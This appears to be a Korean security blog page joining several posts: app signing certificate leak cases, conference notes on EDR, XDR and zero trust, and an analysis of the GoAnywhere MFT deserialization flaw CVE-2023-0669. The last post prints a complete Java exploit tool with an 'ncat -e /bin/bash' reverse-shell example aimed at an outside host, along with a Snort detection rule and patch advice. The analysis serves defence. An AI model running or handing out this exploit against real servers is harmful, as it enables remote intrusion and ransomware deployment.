④ 최신 버전의 소프트웨어, 보안 프로그램등을 사용

 

⑤ 웹 소스 리뷰

 

⑥ 보안 장비 IoC 적용

 

4. 참고

[1] https://www.securityweek.com/thousands-of-websites-hijacked-using-compromised-ftp-credentials/
[2] https://www.wiz.io/blog/redirection-roulette
[3] https://www.boannews.com/media/view.asp?idx=114867&page=1&kind=1 

요약 - 공식 앱 서명 인증서 유출 관련 공격유형과 사례분석 및 대응방안
내용 - 코드 서명 인증서 유출로 인한 악성코드 유포가 확산

- 앱은 개발자가 자가 생성한 인증서를 기반으로 서명 및 배포
> 구글 플레이스토어(Google Play Store) 등 마켓에 업로드할 때 개발자와 사용자를 구분하는 용도로 사용
> 개발자가 자신이 개발한 앱임을 증명하는 중요한 수단
> 앱 업데이트도 해당 서명을 확인해 일치할 경우에만 가능해 앱 자체를 보호하는 역할

- 앱 서명 인증서 정책은 개인 개발자의 자유로운 앱 개발 및 배포를 위해 만들어짐
> 별도의 인증기관을 두지 않고 개발자가 자체적으로 인증서를 관리
> 장점: 앱 개발과 배포의 진입장벽을 낮추고 사용자들의 폭넓은 앱 경험 가능
> 단점: 서명 인증서 유출

- 공격자가 유출된 서명 인증서를 활용해 수행한 악성 행위 유형
① 인증서로 악성코드 탐지 회피
> 보안 솔루션의 검사에서 악성으로 탐지되는 것을 회피

② 인증서의 공식 서비스 앱 데이터 공유
> 안드로이드 시스템에서 ‘콘텐트 프로바이더(Content Provider)’는 앱 간 데이터를 공유
> 콘텐트 프로바이더 설정을 ‘서명 공유’로 지정한 경우, 해당 인증서로 서명된 모든 앱이 콘텐츠 프로바이더에 접근 가능
> 악성 앱으로 내부 사용자 데이터를 취득하며, 실질적으로 공식 앱 공격 기법으로 활용

- 유출된 인증서를 획득해 공격자가 악성행위를 감행한 국내 사례
① 악성 기능이 추가된 앱을 플레이스토어에 업로드
> 앱 ‘광주버스’ 은 2012년에 서비스를 시작, 2018년 개발자가 개발 및 업데이트를 중단
> 인증서 정보는 폐기하지 않음
> 공격자는 인증서, 코드, 개발자의 아이디 및 패스워드를 취득 > 앱에 악성코드를 추가해 플레이스토어에 재업로드
※ ‘libAudio.3.0.so native’ 라이브러리 파일을 추가, ‘libMovie.so’라는 추가 라이브러리 파일을 내려받아 구글 아이디 등 개인정보를 탈취

② NHN 인증서 유출
> 일부 안드로이드의 화이트리스트 기반 보안 솔루션은 비교적 검증이 간단한 서명 정보를 추출해 공식 마켓에 등록돼 있는 서명 정보인 경우 정상적인 앱으로 처리
> 보안 솔루션에서 악성코드로의 탐지를 회피하려는 수단으로 N사 인증서를 사용한 것으로 확인
※ 기존 금융 관련 보이스피싱 앱인 ‘kaishi’ 악성코드로, 수신번호 조작 및 발신 번호 조작 기능을 수행하며, ‘다운로더(Downloader)’ 악성코드로도 동작

③ 스마트폰 제조사 펌웨어(Firmware)용 인증서 유출
> 2022.11.12 구글은 Google APVI Report를 통해 플랫폼 인증서가 유출된 정황이 확인됐음을 발표
> 플랫폼 인증서(Platform Certificate)란 시스템 이미지에서 안드로이드 앱에 서명하는데 사용하는 앱 서명 인증서
> 해당 인증서로 서명된 앱은 ‘sharedUserId’를 ‘android.uid.system’으로 지정해 시스템 권한을 획득
> 시스템 권한과 ‘사용자 데이터’(user data) 영역에 접근하는 권한이 부여 > OS와 같은 접근 권한으로 동작할 수 있게 됨
※ 구글 펌웨어 인증서로 서명됐으며, 해당 제조사 스마트폰에서만 악성 행위를 수행한다는 특징

④ 공격자의 고의적인 화이트 인증서 생성 시도
> 2021.12.07 구글 플레이스토어에 등록된 앱의 사례로 샘플 분석을 통해 발견
> 2022.02.16까지 주기적으로 버전 코드만 변경해 업데이트
> 서명 정보는 2023.12.05부터 kaishi 악성코드를 서명할 때 사용
※ 플레이스토어에서 주기적인 업데이트를 제공하고, 해당 인증서를 일정 기간 노출시켜 신뢰를 쌓은 후 악성코드 서명에 사용한 것으로 추정
기타 - 안드로이드는 운영체제 및 마켓의 특성상 앱 개발과 업로드가 자유로움
> 인증 및 관리에 개입이 없어 앱의 유지보수와 보안 관리는 전적으로 개발자에 책임

- 앱 서명 인증서 유출로 인한 악성코드 확산에 대해서는 일부 개선책이 필요
① 인증서 관리 체계에 대한 인식 제고
> 개발자가 소유 및 관리하는 인증서는 별도의 인증기관이 없음
> 앱 서명 인증서는 자체적으로 더 높은 수준으로 관리해야 하며, 이를 체계적으로 수행할 방안도 마련 필요

② 보안 솔루션 개선 체계 마련
> 보안 솔루션이 개인과 기업 개발자의 인증서를 쉽게 신뢰하면 현존 위협의 대응에 한계
> 악성 샘플을 기능 기반으로 분류하는 기법을 복합적으로 활용해 악성 행위를 방지

 

보안뉴스

 

앱 서명 인증서 유출, 최근 국내외 발생사례와 대응방안 살펴보니

코드 서명 인증서 유출로 인한 악성코드 유포 행위가 꾸준히 확산되고 있다. 마이크로소프트는 지난해 말과 올해 초에 ‘악의적으로 사용되는 Microsoft 서명된 드라이버에 대한 지침’을 발표했

www.boannews.com

1. 2023년 사이버 위협과 CERT 대응전략

- COVID-19에 따른 디지털 테라포밍 (환경변화)

> 사이버 공격 우려↑: 자동화 및 디지털화로 단기간 내 급격한 프로세스 변화 발생

> 기업의 디지털 전환이 7년 앞당겨 졌다 => 사이버 위협 역시 7년 앞당겨지는 결과 초래

 

- 2023년의 위협들

> 랜섬웨어: 콜로니얼 파이프라인 랜섬웨어 사건

> CaaS (Crime-as-a-Service): 사이버 범죄 서비스화

> 공급방 공격: 가장 약한 고리 공격 ex. 솔라윈즈 사태

> Cyber war: 우크라이나-러시아 전쟁

> Inflation: 보안투자(비용 측면) ↓ + 공격표면(보안이 필요한 중요데이터 외 기타 데이터의 관리) ↑

- 대응 전략

> 국내외 보안동향 모니터링

> 랜섬웨어:제로트러스트

    디지털 공간의 신뢰 인프라 구성이 필요한 장기전

> 사고 시 법류에 따른 대응절차 준수&준비

    사후 대응 절차에 의한 처벌이 다수

    망법 개정에 따라 침해사고에 대한 자료요구 권한 확대

제48조의2(침해사고의 대응 등)
① 과학기술정보통신부장관은 침해사고에 적절히 대응하기 위하여 다음 각 호의 업무를 수행하고, 필요하면 업무의 전부 또는 일부를 한국인터넷진흥원이 수행하도록 할 수 있다. <개정 2009. 4. 22., 2013. 3. 23., 2017. 7. 26.>

1. 침해사고에 관한 정보의 수집ㆍ전파
2. 침해사고의 예보ㆍ경보
3. 침해사고에 대한 긴급조치
4. 그 밖에 대통령령으로 정하는 침해사고 대응조치

② 다음 각 호의 어느 하나에 해당하는 자는 대통령령으로 정하는 바에 따라 침해사고의 유형별 통계, 해당 정보통신망의 소통량 통계 및 접속경로별 이용 통계 등 침해사고 관련 정보를 과학기술정보통신부장관이나 한국인터넷진흥원에 제공하여야 한다. <개정 2009. 4. 22., 2013. 3. 23., 2017. 7. 26.>
1. 주요정보통신서비스 제공자
2. 집적정보통신시설 사업자
3. 그 밖에 정보통신망을 운영하는 자로서 대통령령으로 정하는 자

③ 한국인터넷진흥원은 제2항에 따른 정보를 분석하여 과학기술정보통신부장관에게 보고하여야 한다. <개정 2009. 4. 22., 2013. 3. 23., 2017. 7. 26.>

④ 과학기술정보통신부장관은 제2항에 따라 정보를 제공하여야 하는 사업자가 정당한 사유 없이 정보의 제공을 거부하거나 거짓 정보를 제공하면 상당한 기간을 정하여 그 사업자에게 시정을 명할 수 있다. <개정 2013. 3. 23., 2017. 7. 26.>

⑤ 과학기술정보통신부장관이나 한국인터넷진흥원은 제2항에 따라 제공받은 정보를 침해사고의 대응을 위하여 필요한 범위에서만 정당하게 사용하여야 한다. <개정 2009. 4. 22., 2013. 3. 23., 2017. 7. 26.>

⑥ 과학기술정보통신부장관이나 한국인터넷진흥원은 침해사고의 대응을 위하여 필요하면 제2항 각 호의 어느 하나에 해당하는 자에게 인력지원을 요청할 수 있다. <개정 2009. 4. 22., 2013. 3. 23., 2017. 7. 26.> [전문개정 2008. 6. 13.]

 

Issue 1. 클라우드 보안

- 클라우드 도입으로 구조와 도구의 변화: 추상화, 간편화

 

- 지능적/구조적 헛점을 고려하여, 상시 또는 최종 단계에서 검증과 대응 수행

> 클라우드 포탈 계정과 동일한 SNS 계정을 사용할 경우 계정 탈취로 접근 가능

> 개인 저장소에 내부 자료 저장

> 개인 PC로 업무망 접속 등의 보안문제

> 기존 업무망과 클라우드 인프라 운영을 위한 비용 문제

 

- 안전한 클라우드 네트워크 보안 적용 방안

> 다중 통신 제어 체계: 단계별 통신제어 및 권한 분리

> 다중 보안관제 체계: 단계별 침입 탐지 및 대응 체계

> 컨테이너 네트워크 보안: 컨테이너 네트워크 대응 체계 수립

> 사고 예방 및 컴플라이언스 대응: 경계영역(DMZ, 사설망 등) 보안 적용 및 관리, 망분리 요건 대응 및 보안관리

 

클라우드 네트워크 구조, 형태, 동향 상 문제점을 확인하고 대응 방안을 직접 분석하는 것이 필요

 

Issue 2. EDR, MDR, XDR

2.1 EDR! 랜섬웨어와 사이버 위협 선제 방어를 위한 최적의 해법일까?

- EDR

> 마치 CCTV처럼 PC내의 거의 모든 악성 행위 정보를 수집해 실기간으로 위협을 다양한 방식으로 탐지하고,

> 로그 및 행위를 확인/분석하여 프로세스 종료, 파일 격리 등의 지능적 대응

> IOC, ML(머신러닝), XBA(행위기반), 사용자 정의 룰 기반

> 가트너 정의

엔드포인트 레벨의 동작을 기록 및 저장하고 의심스러운 시스템 동작을 탐지하고 상황에 맞는 정보를 제공하며, 악성활동을 차단하고 영향을 받는 시스템을 복원하기 위한 개선 제안을 제공하는 다양한 데이터 분석 기술을 사용하는 솔루션 

 

- 도입 배경 및 필요성

① 배경

> 성능과 보안성 문제

> 다양한 방식의 랜섬웨어 유입&감염 사례

> 알려지지않은 새로운 보안위협 증가와 공격 시나리오의 복장성 증가

 

② 필요성
> 다변화, 고도화 되고 있는 사이버 공격을 모두 막는 것은 불가능

> 기존 보안 장비의 한계점

   시그니처 기반, 정책 관리 문제, PC 감염 후 동작, SIEM 운영시 연동 문제, 확장자 변환 등에 따른 가시성 확보 문제

- 도입 시 주요 검토사항

> 알려지지 않은 위협 탐지: 샘플링 후 PoC 진행을 통한 검증 1차 제조사 자체 검증 & 2차 환경 구성 후 테스트

> 최근 2~3년간 다양해진 EDR 중 솔루션 선택 문제 : 주어진 환경(예산, 규모, 상황 등) 다각적 검토

> 설치된 타 보안 프로그램 및 업무 프로그램 차단, 충돌 : 검토 및 구축단계에서 테스트를 통한 충돌, 프로세스 차단 여부 검증 후 예외 처리

> 솔루션 적용에 따른 에이전트 배포와 PC 성능 문제 : 모니터링

- 활용

> 대시보드를 통한 모티터링 및 고도화

> 스토리라인/타임라인을 통한 악성코드 실행 및 확산 범위 파악

> 랜섬웨어 피해 대응을 위한 VSS 서비스(Volume Shadow Copy Services_복원, 백업과 밀접한 관계가 있는 서비스) 관리

- 향후 운영 방안

> Muti-Level 앤드포인트 대응체계 구축: 탐지 결과 가시성확보, 단계적 악성 위협 대응

> 관제시스템 연동을 통한 분석 체계 고도화: SIEM, SOAR 연동으로 네트워크의 이상 행위(트래픽 증가 등)와 앤드포인트 악성행위와의 연관성 확인

> 랜섬웨어 대응 체계 강화: 안티 랜섬웨어를 연계하여 실시간 랜섬웨어 탐지 및 백업, 복원

> 매체제어/유통 통제 및 악성코드 전파 가시성 확보

- EDR 도입 시 고려해야 할 문제

> 알려지지 않은 위협에 대한 가시성 확보 문제

> EDR 위협 정보 확인과 처리

> 오탐 이벤트 분석과 처리

> 지속적인 정책 업데이트

> 최신 업데이트와 관련된 정기/수시 공조체계 활용

> 기존 보안 솔루션과 중복되는 부분에대한 효율적 운용

2.2 혼동스러운 EDR / NDR / XDR 마켓 트렌드, 기술적 정의 및 고려사항

- EDR (Endpoint Detection &  Response): 엔드포인트 탐지 및 대응 솔루션

- NDR (Network Detection &  Response): 네트워크 탐지 및 대응 솔루션

- XDR ( eXtended Detection &  Response): 확장 탐지 및 대응 솔루션, 플랫폼

- SOAR (Security Orchestration, Automation & Response): 보안 운영 자동화 및 대응 솔루션, 플랫폼

- MDR (Managed Detection &  Response): 매니지드 탐지 및 대응 서비스

 

Issue 3. 제로 트러스트

3.1 기업환경에서 제로 트러스트 도입시 준비 및 고려사항

- 현재의 보안은 경계 보안(Perimeter Security): 방벽을 통해 외부의 위협을 철저히 방어하는 것이 목표

> 내부의 공격자나 방벽을 넘어선 위협은 대응 불가

> 사용자의 이동성 문제: 재택근무

> 클라우드 서비스 도입

> 내부망 점거

> 다양한 접속 단말

- NIST 800-207 Core Zero Trust Logical Components

Zero Trust의 핵심이자 기본은 인증

> 우리나라 망분리 환경과 상극

     Zero Trust - 어디에서든 접근하더라도 보안 정책을 만족하면 접속가능

     국내 망분리: 신뢰된 위치에서의 접속 필요

> 사용자 인증: (다중인증을 통한) 등록된 사용자 여부

       사용자 인증 통합 데이터베이스 구축

       단일 IDP(Identity Provider) 사용

       전사 SSO 인증 체계 구축, 다중 인증 (MFA) 필수 - 한 계정의 권한을 모든 전사 시스템에 적용해야 하기 때문에 가장 어려운 문제 / 자체 기술 보다는 표준(FIDO 등)을 이용해 구축이 효율적

> 단말기: (접속 단말기의) 사내 보안 기준 만족 여부, 기업 소유 단말 여부

       기업 소유 기기 데이터베이스 구축, 보안 현황 모니터링

       접근 정책 적용시 디바이스 정보 활용

> 접근통제: 과도한 권한 부여 여부, 접근 경로의 안전성 여부, 올바른 응용 프로그램 접근 권한 소유 여부

       동적인 검증이 가장 중요

- 제로 트러스트 환경으로 전환이 어려운 이유

> 사용자 측면: 변화에 대한 사용자들의 거부감

> 기술 측면: 다단계 방어 기법(Defense-in-Depth) 운영, 접근 주체의 보안성 점검은 다양한 속성 검증 필요, 확장 가능한 자동화 시스템 운영

> 네트워크 접근 측면: 기기별 보안 등급 차등 부여, 많은 권한 = 많은 검증, 응용 계층 검사

3.2 40년전에 만들어진 IP 통신의 문제점, 해결에서 시작하는 제로 트러스트 아키텍처 도입 방안

- 제로 트러스트란

> 사용 여부와 관계없이 연결된 초연결 시대로 인증 없이 누구나 부여 받는 IP - IP 통신환경은 보안이 고려되지 않은 환경

> IP 네트워크에 연결된 대상은 기본적으로 신뢰할 수 없다는 가정하기 때문에 "제로 트러스트"로 정의

- 제로 트러스트 도입 단계

> 통신 대상 접속 제어 환경 구현: 필요에 따라 끊을 수 있는 접속 제어 기술 적용

> 통신 대상 식별 환경 구현: IP 주소 및 세션 식별 방식이 아닌 실질적인 통신 대상 식별이 가능하도록

> 이벤트 중심 위험 탐지 환경 구현: 통신 시점에 발생하는 이벤트에 대응

1. GoAnywhere MFT

- 포트라(Fortra)에서 개발한 파일 전송 애플리케이션

 

2. 취약점 [1]

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2023-0669

- GoAnywhere MFT는 공격자가 조작한 역직렬화 데이터에대한 검증을 수행하지않아 발생하는 원격 명령 실행 취약점

- 공격자들은 해당 취약점을 악용하여 클롭(Clop) 랜섬웨어를 유포하는 중

영향받는 버전
- GoAnywhere MFT < 7.1.2

 

[사진 2] Shodan GoAnywhere 검색 화면

 

2.1 분석 [3][4]

- 취약점은 POST 요청을 처리하는 LicenseResponseServlet에서 발생

- bundle 파라미터를 getParameter()로 str1에 저장 후 LicenseAPI.getResponse()의 매개변수로 전달

- bundle 파라미터를 LicenseAPI.getResponse()의 매개변수로 전달하는 과정에 적절한 검증이 수행되지 않음

[사진 3] LicenseResponseServlet

 

- LicenseAPI.getResponse()는 BundleWorker.unbundle() 호출

[사진 4] LicenseAPI.getResponse()

 

- BundleWorker.unbundle()는 decode()를 호출 및 복호화 후 verify()에서 서명을 검증

[사진 5] BundleWorker.unbundle()

 

- 공격자는 다음의 과정을 거치는 것으로 판단됨

① 조작된 bundle 역직렬화 데이터를 서버에서 제공하는 암복호화 정보에 맞춰 암호화 한 후 서버에 전송

② 역직렬화 데이터를 직렬화하는 과정에서 공격자가 삽입한 원격 명령이 수행

 

2.2 PoC [5]

① 원격 명령이 포함한 암호화된 bundle 매개변수 생성

/goanywhere/lic/accept URL에 조작된 역직렬화 bundle 매개변수를 전달

package org.gaw;

import org.gaw.linoma.Cryptor;

import cn.hutool.http.HttpResponse;
import org.gaw.utils.Http;
import org.apache.commons.cli.*;
import org.apache.commons.lang.StringUtils;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;

public class Exploit {
    static final String banner = "   _______    ________    ___   ____ ___  _____       ____  " +
            "_____ _____ ____ \n" +
            "  / ____/ |  / / ____/   |__ \\ / __ \\__ \\|__  /      / __ \\/ ___// ___// __ \\\n" +
            " / /    | | / / __/________/ // / / /_/ / /_ <______/ / / / __ \\/ __ \\/ /_/ /\n" +
            "/ /___  | |/ / /__/_____/ __// /_/ / __/___/ /_____/ /_/ / /_/ / /_/ /\\__, / \n" +
            "\\____/  |___/_____/    /____/\\____/____/____/      \\____/\\____/\\____//____/  \n" +
            "                                                                             ";
    // https://patorjk.com/software/taag/#p=display&f=Slant&t=CVE-2023-0669

    public static void printUsage(Options options) {
        HelpFormatter formatter = new HelpFormatter();
        System.out.println("GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object.\n");
        formatter.printHelp("Options", options);

        System.out.println("\nExample: ");
        System.out.println("java -jar CVE-2023-0669.jar -p http://127.0.0.1:8080 " +
                "-t https://192.168.1.1 -c 'ncat -e /bin/bash 192.168.1.2 4444'");
        System.out.println("java -jar CVE-2023-0669.jar -e ./payload.ser\n");
    }

    public static void main(String[] args) {
        System.out.println("\n"+banner);

        Options options = new Options();
        options.addOption("h", "help", false,"Print help information");
        options.addOption("t", "target", true, "Target URL");
        options.addOption("path", true, "Target Endpoint, default: /goanywhere/lic/accept");
        options.addOption("p", "proxy", true, "Proxy Address, eg: http://127.0.0.1:8080");
        options.addOption("c", "command", true, "Expected commands to be executed");
        options.addOption("e", "encrypt", true,"Encrypt the specified deserialized content");
        options.addOption("v", "version", true,"Version Encryption, 1/2, default: 1");
        options.addOption("timeout", true,"Http Requests Timeout, default: 20");

        CommandLineParser parser = new BasicParser();

        try {
            CommandLine cli = parser.parse(options, args);

            String version = cli.getOptionValue("v");
            version = (version == null)?"1":"2";

            if (cli.hasOption("h")) {
                printUsage(options);
            } else if (cli.hasOption("e")) {
                String filename = cli.getOptionValue("e");
                Path path = Paths.get(filename);
                byte[] data = Files.readAllBytes(path);
                System.out.println("[*] Files expected to be encrypted: " + filename);
                System.out.println("[*] Version Encryption: " + version);
                String bundle = Cryptor.main(data, version);
                System.out.println("[+] Successful encryption: " + bundle);
            } else if (cli.hasOption("t") && cli.hasOption("c")) {
                String target = cli.getOptionValue("t");
                System.out.println("[*] Target: " + target);

                String path = cli.getOptionValue("path");
                path = (path == null)?"/goanywhere/lic/accept":path;
                System.out.println("[*] Path: " + path);

                String proxy = cli.getOptionValue("p");
                System.out.println("[*] Proxy: " + proxy);

                String command = cli.getOptionValue("c");
                System.out.println("[*] Command: " + command);

                System.out.println("[*] Version Encryption: " + version);

                byte[] deserData = GenerateEvilPayload.main(command, "CommonsBeanutils1");
                String bundle = Cryptor.main(deserData, version);
                System.out.println("[+] Successful encryption: " + StringUtils.left(bundle, 50) +
                        "...");

                String timeout = cli.getOptionValue("timeout");
                timeout = (timeout == null)?"20":timeout;
                System.out.println("[*] Timeout: " + timeout + "s");
                int to = Integer.parseInt(timeout) * 1000;

                Exploit(target, path, bundle, proxy, to);
            } else {
                printUsage(options);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void Exploit(String target, String path, String body, String proxyURL,
                               int timeout) throws MalformedURLException {
        URL url = new URL(target);
        String rootURL = url.getProtocol() + "://" + url.getAuthority();

        String bundleBody = "bundle=" + body;

        Map<String, String> headers = new HashMap<>();
        headers.put("Content-Type", "application/x-www-form-urlencoded");

        System.out.println("[*] Exploiting...");

        HttpResponse r = Http.post(rootURL+path, bundleBody, headers ,proxyURL, timeout);

        if (r.getStatus() == 500 && r.body().contains("Requested URL: /goanywhere/lic/accept")) {
            System.out.println("[+] The exploit has been completed, please check.");
        } else{
            System.out.println("[-] Exploit Failed");
        }
    }
}

 

[사진 6] Exploit 패킷

3. 대응방안

3.1 서버측면

GoAnywhere MFT 7.1.2 업데이트 적용

- SessionUtilities.isLicenseRequestTokenValid()를 추가하여 라이센스 검증을 수행

> 라이센싱 요청을 수행할 때 생성되고 세션에 저장된 임의 UUID를 확인함

[사진 7] 패치 버전

② 추가 대응

- 벤더사에서는 2가지 완화 방안을 제공

> 시스템에서 만든 계정 등 의심스러운 계정이 있는지 확인

> GoAnywhere MFT가 설치된 파일 시스템에서 [install_dir]/adminroot/WEB-INF/web.xml 파일 편집

[사진 8] WEB-INF/web.xml 파일 편집 내용

3.2 네트워크 측면

- 보안 장비에 탐지 패턴 적용

alert tcp any any -> any any (msg:"Fortra GoAnywhere MFT RCE (CVE-2023-0669)"; content:"/goanywhere/lic/accept";flow:to_server,established;fast_pattern:only;http_uri; content:"bundle"; nocase;)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-0669

[2] https://www.tenable.com/cve/CVE-2023-0669

[3] https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis?utm_source=rapid7site&utm_medium=referral&utm_campaign=etr_anywheremft

[4] https://www.pingsafe.com/blog/fortra-goanywhere-mft-rce-vulnerability

[5] https://github.com/0xf4n9x/CVE-2023-0669

[6] https://www.boannews.com/media/view.asp?idx=114180

 

 

+ Recent posts